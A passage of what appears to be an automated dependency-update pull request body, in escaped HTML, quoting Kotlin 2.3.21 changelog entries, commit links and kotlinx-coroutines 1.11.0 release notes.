\u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/blob/master/ChangeLog.md\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.21\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85628\"\u003e\u003ccode\u003eKT-85628\u003c/code\u003e\u003c/a\u003e KGP: composite build FUS metrics fail on access of 'configurationTimeMetrics'\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/fea1ad8c18995b80d1ca0e3917056104613d23db\"\u003e\u003ccode\u003efea1ad8\u003c/code\u003e\u003c/a\u003e Add ChangeLog for 2.3.21-RC2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/09c341e858b8f70d92955fc6b67d6a04962760b4\"\u003e\u003ccode\u003e09c341e\u003c/code\u003e\u003c/a\u003e disable swift export execution tests in order to update macos\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/67a08681cdd53b318217e6f35d835e0ab3b2e31c\"\u003e\u003ccode\u003e67a0868\u003c/code\u003e\u003c/a\u003e Avoid accessing KotlinNativeLink taskProvider when task was not executed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/f89e5dbc1867714116e17be1066d6c68e30cc2d4\"\u003e\u003ccode\u003ef89e5db\u003c/code\u003e\u003c/a\u003e [K/N] Disable TSAN in runtime tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/45d6c859c027c4e82b14b4861e36bc125600e2b0\"\u003e\u003ccode\u003e45d6c85\u003c/code\u003e\u003c/a\u003e [K/N] Don't generate generic safe casts for Objective-C types\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/9261a6f0790b7504e0223e9e0a0dd242fe0cc3f7\"\u003e\u003ccode\u003e9261a6f\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85508\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/c9ab9db37a191f2eb1ce0f5b7ff502ca9d4b3a0d\"\u003e\u003ccode\u003ec9ab9db\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85399\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/502e84484e520fbe1a93958be8da97e06a04d7ed\"\u003e\u003ccode\u003e502e844\u003c/code\u003e\u003c/a\u003e Explain: fix for destructuring declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/0c26485d83f532aa8afbb868895061b7132fd7c8\"\u003e\u003ccode\u003e0c26485\u003c/code\u003e\u003c/a\u003e Explain: fix for object literals\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/68a9e3f99fcd59c5440970f5f34aff09ce462a69\"\u003e\u003ccode\u003e68a9e3f\u003c/code\u003e\u003c/a\u003e [minor] fix testdata name in explain test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/JetBrains/kotlin/compare/v2.3.10...v2.3.21\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jetbrains.kotlinx:kotlinx-coroutines-slf4j` from 1.10.2 to 1.11.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/releases\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-slf4j's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. B\nefore, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/blob/master/CHANGES.md\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-slf4j's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. Before, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca 